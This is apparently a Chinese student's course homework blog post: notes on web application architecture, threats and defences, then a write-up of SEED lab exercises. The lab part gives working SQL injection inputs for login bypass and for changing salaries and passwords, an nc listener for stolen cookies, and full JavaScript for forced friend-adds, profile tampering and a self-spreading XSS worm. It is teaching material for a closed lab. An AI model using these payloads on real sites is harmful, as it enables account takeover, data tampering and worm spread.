20212906 2021-2022-2 《网络攻防实践》第十次作业

1.知识点梳理与总结

1.1 web应用体系结构及其安全威胁

1.1.1 web应用体系结构

Web应用程序(Web Application) 是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。

  • 浏览器(Browser)

标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome等,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。

  • Web服务器(Web Server)

Web服务器软件通常被简单地描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web 服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。

  • Web应用程序(Web Application)

现代Web应用的核心是处于服务器端的业务逻辑,即Web应用程序,虽然嵌入在浏览器中执行的客户端逻辑(如JavaScript代码、Flash/Java 等对象)也逐渐地变得更加普遍和重要。早期静态Web应用程序只有一层,提供用于客户端浏览器显示的页面,随着Web应用技术的发展,Web应用程序的功能越来越复杂与多样化,并出现了分层的概念。这种多层(n-tiers) 的体系结构扩展了原本相当简单的结构,并把它变成了一个动态引擎,与用户进行实时的交互。

  • 数据库(Database)

数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。在Web应用中流行的数据库管理软件包括微软的MS SQLServer.Oracle和开源的MySQL等,这些数据库管理系统支持统一的数据库查询语言SQL。Web应用程序的业务逻辑层通过一系列的数据连接器连接至后台数据库关系系统,对数据库进行查询、操作和更新,常用数据连接器包括ODBC (开放数据库连接)、OLEDB (对象链接与嵌入数据库)、JDBC (Java 数据库连接)等。

  • 传输协议HTTP/HTTPS

浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。超文本传输协议(HyperText Transfer Protocol, HTTP) 默认使用TCP 80端口,HTTP是相对比较简单、无状态的、基于ASCII码的协议,其定义在IETF的标准化文档RFC 2616 (HTTP 1.1)和RFC 1945 (HTTP 1.0)中,HTTP 协议使用统一资 源标识符( Uniform Resource Identifiers, URI),对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。无状态、ASCII 码明文传输、运行于众所周知的默认TCP端口等特点造就了HTTP协议的简单和流行,同时也导致其易受各种网络攻击。

1.1.2 web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁

具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。

  • 针对传输网络的网络协议安全威胁

如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等,我们已经在第5章TCP/IP协议栈攻击中对此类威胁进行了介绍,这里不再进行赘述。

  • 系统层安全威胁

Web站点的宿主操作系统,如Windows Server、 Linux等,存在着远程渗透攻击和本地渗透攻击威胁,我们也已在第7章和第8章中分别针对Linux与Windows系统攻防技术进行了详细介绍。

  • Web服务器软件安全威胁

Web服务器软件如lIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。

  • Web应用程序安全威胁

程序员在使用ASP、PHP等脚本编程语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、Xss跨站脚本攻击等。Web应用程序安全威胁与攻防技术是本章的重点内容。

  • Web数据安全威胁

Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。

1.2 web应用安全攻防技术概述

与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。

来实施Web应用服务基本轮廓信息收集的基础技术:

  • 通过互联网踩点中的WHOIS与DNS查询、使用Web搜索引擎、以及对默认的TCP80和443端口进行端口扫描来发现目标组织的Web服务器

  • 使用类型探查技术来识别Web站点的操作系统类型与版本、及Web服务器软件的类型与版本

  • 使用漏洞打1描技术来枚举出Web站点系统和服务器软件中存在的已知安全漏洞

  • 使用查点技术来攫取Web服务器软件的“旗标”

  • 针对Web应用程序的探测和漏洞发现

    • 手工审查web应用程序结构与源代码

    • 自动下载与镜像web站点页面

    • 使用Google hacking技术审查与探测web应用程序

    • web应用程序安全评估与漏洞检测

1.2.1 攻击web服务器软件

  • 数据驱动的远程代码执行安全漏洞

  • 服务器功能扩展模块漏洞

  • 样本文件安全漏洞

  • 源代码泄露

  • 资源解析攻击

1.2.2 攻击web应用程序

  • 针对认证机制的攻击

针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;

  • 授权机制的攻击

针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;

  • 客户端攻击

扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;

  • 命令执行攻击

在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include)注入等;

  • 信息暴露

获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;

  • 逻辑攻击

扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。

1.2.3 攻击web数据内容

  • 安全敏感数据泄露

  • 网站篡改

  • 不良信息内容上传

1.2.4 web应用安全防范措施

  • Web站点网络传输安全设防措施

尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。

通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP 等安全协议。

对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。

  • Web站点操作系统及服务安全设防措施

对Web站点的操作系统与服务器软件进行及时的补丁更新

对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。

采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问:配置数据备份服务,必要时设置冗余和双机热备机制。

  • Web应用程序安全设防措施

应该认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险,因此在设计与开发Web应用时,应谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入,信息发布类网站往往无须引入动态页面和用户交互,而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性。

对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包,如活跃的开源和共享软件,规范运作、注重安全的商业软件公司解决方案等,并定期进行Web应用程序的安全评估与漏洞扫描检测,对Web应用程序应跟进版本更新和安全补]发布情况,进行升级与安全漏洞修补。

只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编程、持续性的安全测试与维护,安全编程与测试的检查点有:独立、完整且集中的输入校正,校验全部的程序输入、校验输入长度与类型;对HTTP所有内容进行校验,校验向用户输出的数据,使用安全的SQL查询方式,禁止使用JavaScript进行任何校验;使用安全统一的编码或转义方式:设定有安全的权限边界:校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。

使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。

  • Web站点数据安全设防措施

提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上,同时也不应在网上公开团队/个人承担涉密项目工作,从而避免引来针对性的社会工程学与渗透攻击:培养注重个人隐私的良好习惯,在网上公开的数据中尽可能地避免泄露个人隐私;对于允许用户提交数据的网站,需重视用户提交数据的合法性审查。

对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧,定期检查自己维护网站和域名内的敏感数据是否被Google检索;对网站的安全配置进行检查,尽量消除目录遍历、文件枚举以及随意上传等渠道:对接受用户交互的网站列出清单,安排日常数据安全审核与检查机制。

2.实践过程

2.1 实践一:SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

2.1.1环境配置

本次实验选用虚拟机为SEEDUbuntu16.04,用户名seed,密码dees

运行Apache Server: 使用指令sudo service apache2 start启动Apache服务,可用指令sudo systemctl status apache2来查看是否成功启动

2.1.2 熟悉SQL语句

首先通过指令mysql -u root -pseedubuntu登录MySql数据库,-u制定用户名,-p指定密码
通过指令use User;,show tables;来查看该数据库下的表

然后使用指令select * from credential;来打印所有员工的信息,可看到员工的姓名、工资以及hash之后的密码

2.1.3 对SELECT语句的SQL注入攻击

网页端攻击
首先打开网页http://www.seedlabsqlinjection.com/index.html,显示登录窗口,输入一个表中不存在的用户名,返回登录失败界面,接着按F12,查看REQUEST URL,发现校验页面是unsafe_home.php,如图所示

在/var/www/SQLInjection,其中有一个存在sql注入攻击的主页unsafe_home.php,通过查看里面的代码可以发现,如果我们输入的username字段为Admin'#,Password可以是任意值。因为#在sql语句中代表注释,代码中#之后的内容在实际执行sql语句的过程中是看不到的。


在/var/www/SQLInjection中找到该页面,并对其中的代码进行分析,可以看出,进行登录时,会区分管理员账户和普通用户账户,并且发现登录时的查询语句为
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';

在登录框输入用户名为Admin'#,这个语句就会变成 SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= 'Admin'# and Password='$hashed_pwd';`

在SQL中,#为注释符号,也就是说#之后的全被注释掉了,那么我们登录就不需要输入密码了,然后我们进行验证

发现登录成功,可以看到所有用户的详细信息,如下图所示

下面就是用命令行完成管理员登录,可以使用curl工具,在终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录,通过返回的数据,可知攻击成功。

2.1.4 对UPDATE语句的SQL注入攻击

在edit中它get了unsafe_edit_backend.php,
vim /var/www/SQLInjection/unsafe_edit_backend.php

登录Alice的账号,利用前面的漏洞,用Alice' #登录,可以看到对应的信息:

在NickName里输入语句salary='500000' where EID='10000';#,这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,直接就修改了工资.攻击成功.

然后是修改其他用户的密码。
由于密码在数据库中是以sha1的形式存储的,那么我们需要获取一个指定密码的sha1值。使用指令echo -n '123'|sha1sum输出密码123的sha1值

还是用Alice的账户登录,继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#。这个时候我们正常登陆Boby的账户,发现通过我们修改的123密码已经能够完成正常的登录。此时我们成功的完成了攻击。

2.2 SEED XSS攻击实验

任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。

我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg

2.2.1 发布恶意消息,显示警报窗口

访问实验网站http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为alice,密码为 seedalice。
在个人主页这里进行 Edit profile,在 Brief description中输入:这里使用的是JavaScript代码。

然后保存,这是使用了一个可以显示cookie的指令

2.2.3.窃取受害者的cookies

可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。
当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。使用JavaScript将cookies发送到攻击者机器的9999端口(非重复端口即可),若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。代码为

使用nc进行监听8899端口,-l指定端口,-v显示详细信息。这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息
nc -l 9999 -v

2.2.4.成为受害者的朋友

在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。为此我们点击Add Friend,并同时使用HTTP Header Live查看发送的数据。我们得到如下图的信息。

可以看到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=
也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。
可以编写出如下的代码,用于xss攻击自动添加好友。(照搬)

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将上述代码放到Alice的About me中

2.2.5.修改受害者的信息

同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

将代码放到alice的about me中。登陆boby账号访问Alice的个人主页可以看到信息被成功修改

2.2.6.编写XSS蠕虫。

蠕虫攻击代码

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,这时候蠕虫病毒已经侵染了Boby的主页。为证明该信息,可用admin用户去访问一下boby,可看到admin用户也被感染

3.学习中遇到的问题

问题1:在做SQL注入攻击时傻傻找不到edit profile页面在哪
问题2:没弄明白在seed里面为什么无法进行复制粘贴操作了

4.学习感悟

这次实验整体逻辑还是蛮清楚的,对于0基础的我来说认真看了课本内容的话,也能了解每个步骤或者代码的目的。但是感觉这次实验操作很不流畅,还是怪自己动手能力太差。初识基于web页面的脚本语言——javascript,感觉很神奇很强大。

posted @ 2022-05-16 20:15  MizDow  阅读(55)  评论(0编辑  收藏  举报